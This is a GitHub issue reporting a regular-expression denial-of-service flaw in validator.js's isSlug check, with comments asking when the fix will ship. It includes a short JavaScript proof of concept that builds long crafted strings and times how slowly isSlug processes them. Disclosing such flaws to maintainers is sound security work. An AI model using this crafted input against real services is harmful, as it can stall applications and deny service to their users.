Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReDoS in isSlug #1596

Closed
yetingli opened this issue Feb 9, 2021 · 3 comments · Fixed by #1603
Closed

ReDoS in isSlug #1596

yetingli opened this issue Feb 9, 2021 · 3 comments · Fixed by #1603
Labels

Comments

@yetingli
Copy link

yetingli commented Feb 9, 2021

Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when checking if the crafted string is of type slug.

Examples

var validator = require("validator")
function build_attack(n) {
	var ret = "111"
	for (var i = 0; i < n; i++) {
		ret += "a"
	}

	return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows

@yetingli yetingli changed the title ReDoS in validator.js ReDoS in isSlug Feb 9, 2021
@mikeguta
Copy link

Is this planned to be included in a specific release in the next few weeks?

@profnandaa
Copy link
Member

profnandaa commented Mar 12, 2021

Sure, we will be making a release before the end of this month @mikeguta

@mikeguta
Copy link

mikeguta commented Apr 7, 2021

Hi @profnandaa, looks like the release schedule has moved up. Do you know when the next release (including this fix) is due?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants